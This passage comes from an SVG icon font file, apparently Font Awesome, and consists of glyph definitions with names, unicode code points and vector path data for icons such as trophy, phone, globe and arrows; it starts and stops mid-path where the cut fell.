l29.0996 -16.7998c16 13.7002 34.6006 24.5996 54.9004 31.7002v33.7002c0 11.5 8.2002 21.5 19.5996 23.5c24.6006 4.19922 50.5 4.39941 76 0.0996094c11.5 -2 20 -11.9004 20 -23.5996v-33.6006c20.3008 -7.2002 38.9004 -18 54.9004 -31.7002l29.0996 16.8008
c10 5.7998 22.9004 3.59961 30.3008 -5.30078c16.1992 -19.3994 33.1992 -41.5996 42.0996 -65.7998c4 -10.8994 0.0996094 -23.2002 -10 -29.0996l-33.7002 -16.7998c3.90039 -21 3.90039 -42.5 0 -63.5zM268.7 140.8c59.2002 77 -28.7002 164.9 -105.7 105.7
c-59.2002 -77 28.7002 -164.9 105.7 -105.7zM512.1 -41.9004l-8.19922 -14.2998c-3 -5.2998 -9.40039 -7.5 -15.1006 -5.39941c-11.7998 4.39941 -22.5996 10.6992 -32.0996 18.5996c-4.60059 3.7998 -5.7998 10.5 -2.7998 15.7002l8.19922 14.2998
c-6.89941 8 -12.2998 17.2998 -15.8994 27.4004h-16.5c-6 0 -11.2002 4.2998 -12.2002 10.2998c-2 12 -2.09961 24.5996 0 37.0996c1 6 6.2002 10.4004 12.2002 10.4004h16.5c3.59961 10.0996 9 19.3994 15.8994 27.3994l-8.19922 14.3008
c-3 5.19922 -1.90039 11.8994 2.7998 15.6992c9.5 7.90039 20.3994 14.2002 32.0996 18.6006c5.7002 2.09961 12.1006 -0.100586 15.1006 -5.40039l8.19922 -14.2998c10.5 1.90039 21.2002 1.90039 31.7002 0l8.2002 14.2998c3 5.2998 9.40039 7.5 15.0996 5.40039
c11.8008 -4.40039 22.6006 -10.7002 32.1006 -18.6006c4.59961 -3.7998 5.7998 -10.5 2.7998 -15.6992l-8.2002 -14.3008c6.90039 -8 12.2998 -17.2998 15.9004 -27.3994h16.5c6 0 11.2002 -4.2998 12.2002 -10.2998c2 -12 2.09961 -24.6006 0 -37.1006
c-1 -6 -6.2002 -10.3994 -12.2002 -10.3994h-16.5c-3.60059 -10.1006 -9 -19.4004 -15.9004 -27.4004l8.2002 -14.2998c3 -5.2002 1.90039 -11.9004 -2.7998 -15.7002c-9.5 -7.90039 -20.4004 -14.2002 -32.1006 -18.5996
c-5.69922 -2.10059 -12.0996 0.0996094 -15.0996 5.39941l-8.2002 14.2998c-10.3994 -1.89941 -21.2002 -1.89941 -31.7002 0zM501.6 17c38.5 -29.5996 82.4004 14.2998 52.8008 52.7998c-38.5 29.6006 -82.4004 -14.2998 -52.8008 -52.7998z" />
    <glyph glyph-name="comments" unicode="&#xf086;" horiz-adv-x="576" 
d="M416 256c0 -88.4004 -93.0996 -160 -208 -160c-41 0 -79.0996 9.2998 -111.3 25c-21.7998 -12.7002 -52.1006 -25 -88.7002 -25c-3.2002 0 -6 1.7998 -7.2998 4.7998s-0.700195 6.40039 1.5 8.7002c0.299805 0.299805 22.3994 24.2998 35.7998 54.5
c-23.9004 26.0996 -38 57.7002 -38 92c0 88.4004 93.0996 160 208 160s208 -71.5996 208 -160zM538 36c13.4004 -30.2998 35.5 -54.2002 35.7998 -54.5c2.2002 -2.40039 2.7998 -5.7998 1.5 -8.7002c-1.2002 -2.89941 -4.09961 -4.7998 -7.2998 -4.7998
c-36.5996 0 -66.9004 12.2998 -88.7002 25c-32.2002 -15.7998 -70.2998 -25 -111.3 -25c-86.2002 0 -160.2 40.4004 -191.7 97.9004c10.4004 -1.10059 20.9004 -1.90039 31.7002 -1.90039c132.3 0 240 86.0996 240 192c0 6.7998 -0.400391 13.5 -1.2998 20.0996
c75.7998 -23.8994 129.3 -81.1992 129.3 -148.1c0 -34.2998 -14.0996 -66 -38 -92z" />
    <glyph glyph-name="star-half" unicode="&#xf089;" horiz-adv-x="576" 
d="M288 448v-439.6l-130.7 -68.6006c-23.3994 -12.2998 -50.8994 7.60059 -46.3994 33.7002l25 145.5l-105.7 103c-19 18.5 -8.5 50.7998 17.7002 54.5996l146.1 21.2002l65.2998 132.4c5.90039 11.8994 17.2998 17.7998 28.7002 17.7998z" />
    <glyph glyph-name="thumbtack" unicode="&#xf08d;" horiz-adv-x="384" 
d="M298.028 233.733c47.9893 -22.3135 85.9717 -62.5508 85.9727 -113.733c0 -13.2549 -10.7451 -24 -24 -24h-136v-104.007c0 -1.04297 -0.378906 -2.64551 -0.844727 -3.57812l-24 -48c-2.94727 -5.89258 -11.3701 -5.88184 -14.3115 0l-24 48
c-0.555664 1.11133 -0.844727 2.33594 -0.844727 3.57812v104.007h-136c-13.2549 0 -24 10.7451 -24 24c0 50.7393 37.4648 91.1797 85.9717 113.733l12.2354 118.267h-42.207c-13.2549 0 -24 10.7451 -24 24v48c0 13.2549 10.7451 24 24 24h272
c13.2549 0 24 -10.7451 24 -24v-48c0 -13.2549 -10.7451 -24 -24 -24h-42.207z" />
    <glyph glyph-name="trophy" unicode="&#xf091;" horiz-adv-x="576" 
d="M552 384c13.2998 0 24 -10.7002 24 -24v-56c0 -35.7002 -22.5996 -72.4004 -61.9004 -100.7c-31.3994 -22.7002 -69.6992 -37.0996 -110 -41.7002c-31.3994 -52.0996 -68.0996 -73.5996 -68.0996 -73.5996v-72h48c35.2998 0 64 -20.7002 64 -56v-12
c0 -6.59961 -5.40039 -12 -12 -12h-296c-6.59961 0 -12 5.40039 -12 12v12c0 35.2998 28.7002 56 64 56h48v72s-36.7002 21.5 -68.0996 73.5996c-40.2002 4.60059 -78.5 19 -110 41.7002c-39.4004 28.2998 -61.9004 65 -61.9004 100.7v56c0 13.2998 10.7002 24 24 24h104v40
c0 13.2998 10.7002 24 24 24h272c13.2998 0 24 -10.7002 24 -24v-40h104zM99.2998 255.2c12.5 -9 26.6006 -16.2002 41.7002 -21.4004c-7 25 -11.7998 53.6006 -12.7998 86.2002h-64.2002v-16c0 -11.5996 10.9004 -31.2002 35.2998 -48.7998zM512 304v16h-64.2998
c-1 -32.5996 -5.7998 -61.2002 -12.7998 -86.2002c15.0996 5.2002 29.2998 12.4004 41.7998 21.4004c17.5996 12.7002 35.2998 32.7002 35.2998 48.7998z" />
    <glyph glyph-name="upload" unicode="&#xf093;" 
d="M296 64h-80c-13.2998 0 -24 10.7002 -24 24v168h-87.7002c-17.7998 0 -26.7002 21.5 -14.0996 34.0996l152.1 152.2c7.5 7.5 19.7998 7.5 27.2998 0l152.2 -152.2c12.6006 -12.5996 3.7002 -34.0996 -14.0996 -34.0996h-87.7002v-168c0 -13.2998 -10.7002 -24 -24 -24z
M512 72v-112c0 -13.2998 -10.7002 -24 -24 -24h-464c-13.2998 0 -24 10.7002 -24 24v112c0 13.2998 10.7002 24 24 24h136v-8c0 -30.9004 25.0996 -56 56 -56h80c30.9004 0 56 25.0996 56 56v8h136c13.2998 0 24 -10.7002 24 -24zM388 -16c0 11 -9 20 -20 20s-20 -9 -20 -20
s9 -20 20 -20s20 9 20 20zM452 -16c0 11 -9 20 -20 20s-20 -9 -20 -20s9 -20 20 -20s20 9 20 20z" />
    <glyph glyph-name="lemon" unicode="&#xf094;" 
d="M489.038 425.037c23.0938 -23.0938 28.8916 -54.3906 16.833 -75.0928c-34.3115 -58.9043 53.0762 -181.249 -86.7461 -321.071s-262.167 -52.4326 -321.068 -86.7432c-20.7031 -12.0586 -52 -6.2627 -75.0947 16.832c-23.0928 23.0938 -28.8916 54.3906 -16.833 75.0928
c34.3125 58.9043 -53.0781 181.247 86.7451 321.07s262.167 52.4336 321.073 86.7461c20.7012 12.0586 51.9971 6.25879 75.0908 -16.834zM243.881 352.478c8.57227 2.14355 13.7832 10.8291 11.6416 19.4023c-2.14258 8.57324 -10.8281 13.7852 -19.4033 11.6426
c-69.8027 -17.4521 -154.218 -101.949 -171.643 -171.643c-2.1416 -8.57324 3.07031 -17.2588 11.6426 -19.4033c1.30273 -0.324219 2.6084 -0.480469 3.89258 -0.480469c7.16895 0 13.6943 4.85352 15.5117 12.124c14.5498 58.2031 90.1689 133.811 148.357 148.357z" />
    <glyph glyph-name="phone" unicode="&#xf095;" 
d="M493.4 423.4c10.8994 -2.5 18.5996 -12.2002 18.5996 -23.4004c0 -256.5 -207.9 -464 -464 -464c-11.2998 0 -20.9004 7.7998 -23.4004 18.5996l-24 104c-2.59961 11.3008 3.30078 22.9004 14 27.6006l112 48c9.80078 4.2002 21.2002 1.39941 28 -6.90039
l49.6006 -60.5996c78.2998 36.7002 141.2 100.5 177.2 177.2l-60.6006 49.5996c-8.2998 6.7002 -11.0996 18.2002 -6.89941 28l48 112c4.59961 10.5996 16.1992 16.5 27.5 13.9004z" />
    <glyph glyph-name="phone-square" unicode="&#xf098;" horiz-adv-x="448" 
d="M400 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h352zM94 32c160.055 0 290 129.708 290 290v0c0 6.58691 -5.20898 13.1338 -11.6279 14.6143l-65 14.998
c-0.918945 0.211914 -2.42969 0.383789 -3.37305 0.383789c-5.45996 0 -11.6367 -4.07324 -13.7871 -9.09082l-30 -69.998c-0.668945 -1.5625 -1.21191 -4.20898 -1.21191 -5.9082c0 -3.92383 2.46387 -9.125 5.50098 -11.6104l37.8857 -30.9971
c-22.4834 -47.9219 -61.8369 -87.8164 -110.78 -110.779l-30.9971 37.8848c-2.48535 3.03711 -7.68652 5.50195 -11.6104 5.50195c-1.69922 0 -4.3457 -0.543945 -5.9082 -1.21289l-69.998 -29.999c-5.01855 -2.15039 -9.09082 -8.32715 -9.09082 -13.7871
c0 -0.943359 0.171875 -2.4541 0.383789 -3.37305l14.998 -65c1.55957 -6.75391 7.58301 -11.627 14.6162 -11.627z" />
    <glyph glyph-name="unlock" unicode="&#xf09c;" horiz-adv-x="448" 
d="M400 192c26.5 0 48 -21.5 48 -48v-160c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v160c0 26.5 21.5 48 48 48h24v102.5c0 84 67.5 153.2 151.5 153.5s152.5 -68 152.5 -152v-16c0 -13.2998 -10.7002 -24 -24 -24h-32c-13.2998 0 -24 10.7002 -24 24v16
c0 39.9004 -32.7002 72.4004 -72.7002 72c-39.5996 -0.400391 -71.2998 -33.2998 -71.2998 -72.9004v-103.1h248z" />
    <glyph glyph-name="credit-card" unicode="&#xf09d;" horiz-adv-x="576" 
d="M0 16v176h576v-176c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48zM192 84v-40c0 -6.59961 5.40039 -12 12 -12h136c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-136c-6.59961 0 -12 -5.40039 -12 -12zM64 84v-40
c0 -6.59961 5.40039 -12 12 -12h72c6.59961 0 12 5.40039 12 12v40c0 6.59961 -5.40039 12 -12 12h-72c-6.59961 0 -12 -5.40039 -12 -12zM576 368v-48h-576v48c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48z" />
    <glyph glyph-name="rss" unicode="&#xf09e;" horiz-adv-x="448" 
d="M128.081 32.041c0 -35.3691 -28.6719 -64.041 -64.041 -64.041s-64.04 28.6719 -64.04 64.041s28.6719 64.041 64.041 64.041s64.04 -28.6729 64.04 -64.041zM303.741 -15.209c0.494141 -9.13477 -6.84668 -16.791 -15.9951 -16.79h-48.0693
c-8.41406 0 -15.4707 6.49023 -16.0176 14.8867c-7.29883 112.07 -96.9404 201.488 -208.772 208.772c-8.39648 0.545898 -14.8867 7.60254 -14.8867 16.0176v48.0693c0 9.14746 7.65625 16.4883 16.791 15.9941c154.765 -8.36328 278.596 -132.351 286.95 -286.95z
M447.99 -15.4971c0.324219 -9.03027 -6.97168 -16.5029 -16.0049 -16.5039h-48.0684c-8.62598 0 -15.6455 6.83496 -15.999 15.4531c-7.83789 191.148 -161.286 344.626 -352.465 352.465c-8.61816 0.354492 -15.4531 7.37402 -15.4531 15.999v48.0684
c0 9.03418 7.47266 16.3301 16.5029 16.0059c234.962 -8.43555 423.093 -197.667 431.487 -431.487z" />
    <glyph glyph-name="hdd" unicode="&#xf0a0;" horiz-adv-x="576" 
d="M576 144v-96c0 -26.5098 -21.4902 -48 -48 -48h-480c-26.5098 0 -48 21.4902 -48 48v96c0 26.5098 21.4902 48 48 48h480c26.5098 0 48 -21.4902 48 -48zM528 224h-480h-0.0693359c-8.81738 0 -22.5742 -2.76172 -30.708 -6.16504l96.5283 144.791
c7.86621 11.7988 25.7578 21.374 39.9385 21.374h268.621c14.1807 0 32.0732 -9.57617 39.9395 -21.374l96.5273 -144.791c-8.13379 3.40332 -21.8906 6.16504 -30.708 6.16504h-0.0693359zM480 128c-17.6729 0 -32 -14.3271 -32 -32s14.3271 -32 32 -32s32 14.3271 32 32
s-14.3271 32 -32 32zM384 128c-17.6729 0 -32 -14.3271 -32 -32s14.3271 -32 32 -32s32 14.3271 32 32s-14.3271 32 -32 32z" />
    <glyph glyph-name="bullhorn" unicode="&#xf0a1;" horiz-adv-x="576" 
d="M576 208c0 -23.6299 -12.9502 -44.04 -32.0098 -55.1299v-152.87c0 -9.21973 -7.08008 -32 -32 -32c-6.19336 0.00585938 -15.1445 3.15039 -19.9805 7.01953l-85.0293 68.0303c-42.7002 34.1406 -96.3203 52.9502 -150.98 52.9502h-28.0801
c-2.79004 -10.21 -4.41016 -20.8896 -4.41016 -32c0 -29.0801 9.75 -55.9199 26.1504 -77.4404c15.79 -20.7197 0.149414 -50.5596 -25.9004 -50.5596h-74.2793c-11.8809 0 -23.2109 6.37012 -28.4004 17.0596c-16.2998 33.5908 -25.5605 71.1709 -25.5605 110.94
c0 10.8604 0.790039 21.5195 2.18066 32h-33.7002c-35.3496 0 -64 28.6504 -64 64v96c0 35.3496 28.6504 64 64 64h192c54.6602 0 108.28 18.8096 150.99 52.9502l85.0293 68.0303c5.79004 4.63965 12.8604 7.01953 19.9805 7.01953c25.0195 0 32 -23.2598 32 -32.0098
v-152.87c19.0498 -11.0801 32 -31.4902 32 -55.1201zM480 66.5801v282.84l-33.0498 -26.4395c-54 -43.2002 -121.83 -66.9805 -190.95 -66.9805v-96c69.1201 0 136.95 -23.7803 190.95 -66.9805z" />
    <glyph glyph-name="certificate" unicode="&#xf0a3;" 
d="M458.622 192.08l45.9844 -45.0039c13.7012 -12.9727 7.32227 -36.0371 -10.6641 -40.3389l-62.6504 -15.9902l17.6611 -62.0146c4.99023 -17.834 -11.8252 -34.665 -29.6611 -29.6719l-61.9941 17.667l-15.9834 -62.6709
c-4.33887 -18.1533 -27.8252 -24.1553 -40.3252 -10.668l-44.9893 46.001l-44.9912 -46.001c-12.6289 -13.3496 -35.8857 -7.90625 -40.3252 10.668l-15.9834 62.6709l-61.9941 -17.667c-17.832 -4.99121 -34.6523 11.833 -29.6611 29.6719l17.6611 62.0146
l-62.6504 15.9902c-17.9795 4.2998 -24.3721 27.3613 -10.6641 40.3389l45.9854 45.0039l-45.9854 45.0049c-13.7012 12.9707 -7.32227 36.0371 10.665 40.3379l62.6504 15.9902l-17.6611 62.0146c-4.99023 17.834 11.8242 34.665 29.6611 29.6709l61.9951 -17.667
l15.9834 62.6709c4.27832 17.9023 27.6953 24.0195 40.3252 10.6689l44.9893 -46.3418l44.9902 46.3428c12.7744 13.5039 36.0947 7.03027 40.3252 -10.6689l15.9834 -62.6709l61.9941 17.667c17.832 4.99219 34.6523 -11.833 29.6611 -29.6709l-17.6611 -62.0146
l62.6504 -15.9902c17.9795 -4.2998 24.3721 -27.3623 10.6641 -40.3389z" />
    <glyph glyph-name="hand-point-right" unicode="&#xf0a4;" 
d="M512 248.348c0 -23.625 -20.6504 -43.8252 -44.7998 -43.8252h-99.8516c16.3408 -17.0488 18.3467 -49.7666 -6.29883 -70.9443c14.2881 -22.8291 2.14746 -53.0176 -16.4502 -62.3154c8.97461 -49.1406 -21.9453 -71.2627 -72.5996 -71.2627
c-2.74609 0 -13.2764 0.203125 -16 0.195312c-61.9707 -0.167969 -76.8936 31.0645 -123.731 38.3145c-11.6729 1.80762 -20.2686 11.8916 -20.2686 23.7041v171.525l0.00195312 0.000976562c0.0107422 18.3662 10.6074 35.8887 28.4639 43.8447
c28.8857 12.9941 95.4131 49.0381 107.534 77.3232c7.79688 18.1934 21.3838 29.084 40 29.0918c34.2217 0.0136719 57.752 -35.0977 44.1191 -66.9082c-3.58301 -8.3584 -8.3125 -16.6699 -14.1533 -24.918h149.234c23.4502 0 44.7998 -20.543 44.7998 -43.8262zM96 248
v-192c0 -13.2549 -10.7451 -24 -24 -24h-48c-13.2549 0 -24 10.7451 -24 24v192c0 13.2549 10.7451 24 24 24h48c13.2549 0 24 -10.7451 24 -24zM68 80c0 11.0459 -8.9541 20 -20 20s-20 -8.9541 -20 -20s8.9541 -20 20 -20s20 8.9541 20 20z" />
    <glyph glyph-name="hand-point-left" unicode="&#xf0a5;" 
d="M44.7998 292.174h149.234c-5.84082 8.24805 -10.5703 16.5586 -14.1533 24.918c-13.6328 31.8105 9.89746 66.9219 44.1191 66.9082c18.6162 -0.0078125 32.2031 -10.8975 40 -29.0918c12.1221 -28.2861 78.6484 -64.3291 107.534 -77.3232
c17.8564 -7.95605 28.4531 -25.4785 28.4639 -43.8447l0.00195312 -0.000976562v-171.526c0 -11.8115 -8.5957 -21.8965 -20.2686 -23.7031c-46.8379 -7.25 -61.7607 -38.4824 -123.731 -38.3145c-2.72363 0.00683594 -13.2539 -0.195312 -16 -0.195312
c-50.6543 0 -81.5742 22.1221 -72.5996 71.2627c-18.5977 9.29688 -30.7383 39.4863 -16.4502 62.3154c-24.6455 21.1768 -22.6396 53.8955 -6.29883 70.9443h-99.8516c-24.1494 0 -44.7998 20.2002 -44.7998 43.8252c0 23.2832 21.3496 43.8262 44.7998 43.8262zM440 272
h48c13.2549 0 24 -10.7451 24 -24v-192c0 -13.2549 -10.7451 -24 -24 -24h-48c-13.2549 0 -24 10.7451 -24 24v192c0 13.2549 10.7451 24 24 24zM464 60c11.0459 0 20 8.9541 20 20s-8.9541 20 -20 20s-20 -8.9541 -20 -20s8.9541 -20 20 -20z" />
    <glyph glyph-name="hand-point-up" unicode="&#xf0a6;" horiz-adv-x="384" 
d="M135.652 448c23.625 0 43.8252 -20.6504 43.8252 -44.7998v-99.8516c17.0488 16.3408 49.7666 18.3467 70.9443 -6.29883c22.8291 14.2881 53.0176 2.14746 62.3154 -16.4502c49.1406 8.97461 71.2627 -21.9453 71.2627 -72.5996
c0 -2.74609 -0.203125 -13.2764 -0.195312 -16c0.167969 -61.9707 -31.0645 -76.8936 -38.3145 -123.731c-1.80762 -11.6729 -11.8916 -20.2686 -23.7041 -20.2686h-171.525l-0.000976562 0.00195312c-18.3662 0.0107422 -35.8887 10.6074 -43.8447 28.4639
c-12.9941 28.8857 -49.0381 95.4121 -77.3232 107.534c-18.1943 7.79688 -29.084 21.3838 -29.0918 40c-0.0136719 34.2217 35.0977 57.752 66.9082 44.1191c8.3584 -3.58301 16.6699 -8.3125 24.918 -14.1533v149.234c0 23.4502 20.543 44.7998 43.8262 44.7998zM136 32
h192c13.2549 0 24 -10.7451 24 -24v-48c0 -13.2549 -10.7451 -24 -24 -24h-192c-13.2549 0 -24 10.7451 -24 24v48c0 13.2549 10.7451 24 24 24zM304 4c-11.0459 0 -20 -8.9541 -20 -20s8.9541 -20 20 -20s20 8.9541 20 20s-8.9541 20 -20 20z" />
    <glyph glyph-name="hand-point-down" unicode="&#xf0a7;" horiz-adv-x="384" 
d="M91.8262 -19.2002v149.234c-8.24805 -5.84082 -16.5586 -10.5703 -24.918 -14.1533c-31.8105 -13.6328 -66.9219 9.89746 -66.9082 44.1191c0.0078125 18.6162 10.8975 32.2031 29.0918 40c28.2861 12.1221 64.3291 78.6484 77.3232 107.534
c7.95605 17.8564 25.4785 28.4531 43.8447 28.4639l0.000976562 0.00195312h171.526c11.8115 0 21.8965 -8.5957 23.7031 -20.2686c7.25 -46.8379 38.4824 -61.7607 38.3145 -123.731c-0.00683594 -2.72363 0.195312 -13.2539 0.195312 -16
c0 -50.6543 -22.1221 -81.5742 -71.2627 -72.5996c-9.29688 -18.5977 -39.4863 -30.7383 -62.3154 -16.4502c-21.1768 -24.6455 -53.8955 -22.6396 -70.9443 -6.29883v-99.8516c0 -24.1494 -20.2002 -44.7998 -43.8252 -44.7998
c-23.2832 0 -43.8262 21.3496 -43.8262 44.7998zM112 376v48c0 13.2549 10.7451 24 24 24h192c13.2549 0 24 -10.7451 24 -24v-48c0 -13.2549 -10.7451 -24 -24 -24h-192c-13.2549 0 -24 10.7451 -24 24zM324 400c0 11.0459 -8.9541 20 -20 20s-20 -8.9541 -20 -20
s8.9541 -20 20 -20s20 8.9541 20 20z" />
    <glyph glyph-name="arrow-circle-left" unicode="&#xf0a8;" 
d="M256 -56c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248s-111 -248 -248 -248zM284.9 87.5996l-75.5 72.4004h182.6c13.2998 0 24 10.7002 24 24v16c0 13.2998 -10.7002 24 -24 24h-182.6l75.5 72.4004c9.69922 9.2998 9.89941 24.7998 0.399414 34.2998
l-11 10.8994c-9.39941 9.40039 -24.5996 9.40039 -33.8994 0l-132.7 -132.6c-9.40039 -9.40039 -9.40039 -24.5996 0 -33.9004l132.7 -132.699c9.39941 -9.40039 24.5996 -9.40039 33.8994 0l11 10.8994c9.5 9.5 9.2998 25 -0.399414 34.2998z" />
    <glyph glyph-name="arrow-circle-right" unicode="&#xf0a9;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM227.1 296.4l75.5 -72.4004h-182.6c-13.2998 0 -24 -10.7002 -24 -24v-16c0 -13.2998 10.7002 -24 24 -24h182.6l-75.5 -72.4004
c-9.69922 -9.2998 -9.89941 -24.7998 -0.399414 -34.2998l11 -10.8994c9.39941 -9.40039 24.5996 -9.40039 33.8994 0l132.7 132.6c9.40039 9.40039 9.40039 24.5996 0 33.9004l-132.7 132.8c-9.39941 9.39941 -24.5996 9.39941 -33.8994 0l-11 -10.9004
c-9.5 -9.59961 -9.2998 -25.0996 0.399414 -34.3994z" />
    <glyph glyph-name="arrow-circle-up" unicode="&#xf0aa;" 
d="M8 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM151.6 163.1l72.4004 75.5v-182.6c0 -13.2998 10.7002 -24 24 -24h16c13.2998 0 24 10.7002 24 24v182.6l72.4004 -75.5c9.2998 -9.69922 24.7998 -9.89941 34.2998 -0.399414
l10.8994 11c9.40039 9.39941 9.40039 24.5996 0 33.8994l-132.6 132.7c-9.40039 9.40039 -24.5996 9.40039 -33.9004 0l-132.8 -132.7c-9.39941 -9.39941 -9.39941 -24.5996 0 -33.8994l10.9004 -11c9.59961 -9.5 25.0996 -9.2998 34.3994 0.399414z" />
    <glyph glyph-name="arrow-circle-down" unicode="&#xf0ab;" 
d="M504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM360.4 220.9l-72.4004 -75.5v182.6c0 13.2998 -10.7002 24 -24 24h-16c-13.2998 0 -24 -10.7002 -24 -24v-182.6l-72.4004 75.5
c-9.2998 9.69922 -24.7998 9.89941 -34.2998 0.399414l-10.8994 -11c-9.40039 -9.39941 -9.40039 -24.5996 0 -33.8994l132.6 -132.7c9.40039 -9.40039 24.5996 -9.40039 33.9004 0l132.699 132.7c9.40039 9.39941 9.40039 24.5996 0 33.8994l-10.8994 11
c-9.5 9.5 -25 9.2998 -34.2998 -0.399414z" />
    <glyph glyph-name="globe" unicode="&#xf0ac;" horiz-adv-x="496" 
d="M336.5 288h-177c14.5 89.2998 48.7002 152 88.5 152s74 -62.7002 88.5 -152zM152 192c0 22.2002 1.2002 43.5 3.2998 64h185.3c2.10059 -20.5 3.30078 -41.7998 3.30078 -64s-1.2002 -43.5 -3.30078 -64h-185.3c-2.09961 20.5 -3.2998 41.7998 -3.2998 64zM476.7 288
h-108c-8.7998 56.9004 -25.6006 107.8 -50 141.6c71.5 -21.1992 129.399 -73.6992 158 -141.6zM177.2 429.6c-24.4004 -33.7998 -41.2002 -84.6992 -49.9004 -141.6h-108c28.5 67.9004 86.5 120.4 157.9 141.6zM487.4 256c5.39941 -20.5 8.5 -41.7998 8.5 -64
s-3.10059 -43.5 -8.60059 -64h-114.6c2.09961 21 3.2998 42.5 3.2998 64s-1.2002 43 -3.2998 64h114.7zM120 192c0 -21.5 1.2002 -43 3.2002 -64h-114.601c-5.39941 20.5 -8.59961 41.7998 -8.59961 64s3.2002 43.5 8.59961 64h114.7
c-2.09961 -21 -3.2998 -42.5 -3.2998 -64zM159.5 96h177c-14.5 -89.2998 -48.7002 -152 -88.5 -152s-74 62.7002 -88.5 152zM318.8 -45.5996c24.4004 33.7998 41.2002 84.6992 50 141.6h108c-28.5996 -67.9004 -86.5996 -120.4 -158 -141.6zM19.2998 96h108
c8.7998 -56.9004 25.6006 -107.8 50 -141.6c-71.5 21.1992 -129.399 73.6992 -158 141.6z" />
    <glyph glyph-name="wrench" unicode="&#xf0ad;" 
d="M507.73 338.9c11.7891 -47.4102 -0.84082 -99.6602 -37.9102 -136.73c-39.9004 -39.9004 -97.25 -50.9297 -147.37 -34.2197l-213.21 -213.21c-24.9902 -24.9902 -65.5098 -24.9902 -90.5 0s-24.9902 65.5098 0 90.5l213.39 213.39
c-16.5 50.1006 -5.58984 107.561 34.0498 147.2c37.0303 37.0195 89.2002 49.6699 136.58 37.9297c9.08984 -2.25977 12.2803 -13.54 5.66016 -20.1602l-74.3604 -74.3594l11.3105 -67.8799l67.8799 -11.3105l74.3604 74.3604
c6.58008 6.58008 17.8799 3.51953 20.1201 -5.50977zM64 -24c13.25 0 24 10.75 24 24c0 13.2598 -10.75 24 -24 24s-24 -10.7402 -24 -24c0 -13.25 10.75 -24 24 -24z" />
    <glyph glyph-name="tasks" unicode="&#xf0ae;" 
d="M139.61 412.5l17 -16.5c1.90234 -1.94531 3.44727 -5.7334 3.44727 -8.4541c0 -2.7627 -1.58496 -6.5918 -3.53809 -8.5459l-72.1992 -72.1904l-15.5898 -15.6191c-2.04297 -1.94238 -5.9873 -3.51758 -8.80566 -3.51758c-2.81738 0 -6.7627 1.5752 -8.80469 3.51758
l-47.5898 47.3994c-1.94824 1.94141 -3.5293 5.75 -3.5293 8.5c0 2.75098 1.58105 6.55859 3.5293 8.5l15.7002 15.7197c1.94141 1.94824 5.74902 3.53027 8.5 3.53027c2.75 0 6.55762 -1.58203 8.5 -3.53027l22.6992 -22.1191l63.6807 63.3096
c1.94141 1.94824 5.74902 3.5293 8.5 3.5293c2.75 0 6.55859 -1.58105 8.5 -3.5293zM139.61 253.31l16.9795 -17c1.89648 -1.93164 3.43457 -5.69727 3.43457 -8.4043c0 -2.74805 -1.5791 -6.55371 -3.52441 -8.49512l-72.2002 -72.2197l-15.7002 -15.6904
c-2.04102 -1.94141 -5.9834 -3.5166 -8.7998 -3.5166s-6.75879 1.5752 -8.7998 3.5166l-47.4697 47.5c-1.94824 1.94141 -3.5293 5.74902 -3.5293 8.5s1.58105 6.55859 3.5293 8.5l15.7002 15.6904c1.94141 1.94824 5.74902 3.5293 8.5 3.5293
c2.75 0 6.55762 -1.58105 8.5 -3.5293l22.6992 -22.1006l63.6807 63.7197c1.94141 1.94824 5.74902 3.53027 8.5 3.53027c2.75 0 6.55859 -1.58203 8.5 -3.53027zM64 80c26.4961 0 48 -21.5039 48 -48s-21.5039 -48 -48 -48c-26.4697 0 -48.5898 21.5 -48.5898 48
s22.0996 48 48.5898 48zM496 64c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-288c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h288zM496 384c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-288
c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h288zM496 224c8.83203 0 16 -7.16797 16 -16v-32c0 -8.83203 -7.16797 -16 -16 -16h-288c-8.83203 0 -16 7.16797 -16 16v32c0 8.83203 7.16797 16 16 16h288z" />
    <glyph glyph-name="filter" unicode="&#xf0b0;" 
d="M487.976 448c21.3623 0 32.0459 -25.8965 16.9717 -40.9707l-184.947 -184.971v-262.039c0 -19.5127 -21.9805 -30.71 -37.7627 -19.6611l-80 55.9795c-6.41602 4.49219 -10.2373 11.8311 -10.2373 19.6621v206.059l-184.942 184.971
c-15.1045 15.1045 -4.34766 40.9707 16.9707 40.9707h463.947z" />
    <glyph glyph-name="briefcase" unicode="&#xf0b1;" 
d="M320 112v48h192v-144c0 -25.5996 -22.4004 -48 -48 -48h-416c-25.5996 0 -48 22.4004 -48 48v144h192v-48c0 -8.83984 7.16016 -16 16 -16h96c8.83984 0 16 7.16016 16 16zM464 320c25.5996 0 48 -22.4004 48 -48v-80h-512v80c0 25.5996 22.4004 48 48 48h80v48
c0 25.5996 22.4004 48 48 48h160c25.5996 0 48 -22.4004 48 -48v-48h80zM320 320v32h-128v-32h128z" />
    <glyph glyph-name="arrows-alt" unicode="&#xf0b2;" 
d="M352.201 22.2246l-79.1963 -79.1953c-9.37305 -9.37305 -24.5684 -9.37305 -33.9404 0l-79.1963 79.1953c-15.1191 15.1191 -4.41113 40.9717 16.9707 40.9707h51.1621l-0.000976562 100.805h-100.804v-51.1621c0 -21.3818 -25.8516 -32.0898 -40.9717 -16.9707
l-79.1953 79.1963c-9.37305 9.37207 -9.37305 24.5684 0 33.9404l79.1953 79.1963c15.1191 15.1191 40.9717 4.41113 40.9717 -16.9717v-51.2285h100.804v100.804h-51.2305c-21.3818 0 -32.0898 25.8516 -16.9707 40.9717l79.1963 79.1953
